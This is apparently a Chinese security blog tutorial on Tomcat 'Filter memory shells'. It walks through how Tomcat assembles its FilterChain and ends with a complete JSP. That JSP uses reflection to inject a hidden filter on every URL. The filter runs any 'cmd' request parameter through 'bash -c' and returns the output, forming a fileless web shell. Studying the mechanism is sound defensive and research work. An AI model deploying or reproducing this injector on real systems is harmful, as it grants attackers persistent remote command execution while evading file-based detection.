0%

Filter内存马

前言

对Filter内存马原理的简单分析

Filter注册流程

用一张图来描述一下tomcat的基本加载流程

可以看到FilterChain是在WrapperValue容器中调用的
而FilterChain,顾名思义,就是一个Filter的链,从第一个Filter一直传到最后一个Filter,然后才调用Servlet

调试

首先调试Filter内存马需要先在pom.xml加

1
2
3
4
5
6
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.67</version>
<scope>provided</scope>
</dependency>

这里的version我选得是和我tomcat的版本一样,不知道有没有联系
不加次依赖是无法调试的

先写一个简单的Filter容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;

@WebFilter(urlPatterns = "/*")
public class FilterA implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("a: before");
PrintWriter pw = servletResponse.getWriter();
pw.write("aaaaaaaaa");

filterChain.doFilter(servletRequest, servletResponse);
System.out.println("a: after");

pw.write("<br>back");
pw.flush();
}

@Override
public void destroy() {
}
}

在doFilter第一行代码下断点,根据调用栈可以看到WrapperValue容器

进入WrapperValue,往上翻找可以看到filterChain的来源,在此处下断点,重新调试

进入createFilterChain,注意到这一行代码,可以看到这里面有我们的Filter链,是一个Map,另外一条应该是tomcat自带的filter,这行就是从context对象中获取现有的Filter链

往下到了一个循环处,是根据上面得到的filterMap,去依次从context中取出filterConfig

获取到filterConfig后就会将filterConfig加入filterChain中,该filterChain对象中的filters列表会添加filterConfig

创建完FilterChain后,来到filterChain的doFilter方法

跟着调试,会进入internalDofilter方法,n是Filter个数,pos是当前是第几个Filter
首先会取出当前的filterConfig,并通过getFilter函数,从filterConfig取出filter对象

最后拿到filter对象了,通过doFilter调用具体的Filter,也就是我们写的那个demo

那么该调用过程就分析的差不多了

小结

  • 先从context中获取filterMaps
  • 根据filterMaps从context中取出filterConfig
  • 将filterConfig加入filterChain中,filterChain中的filters成员变量会添加filterConfig
  • 调用doFilter

内存马

通过上面的分析,我们知道如果想将木马注册到filter中,那么就需要context对象的两个参数

  • filterMaps
  • filterConfigs

在他们两个Map中添加相应的filter就行了

但是,当我们去看filterConfigs相应的构造函数代码,会发现需要传递 Context和filterDef,且并不带有public,那么就需要通过反射获取

context就是上面分析的那个context
所以最后需要三个参数,具体如何生成可以看相应的构造函数

  • filterMaps
  • filterConfigs
  • filterDef

那么最终的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "abcd";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name)==null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

参考文章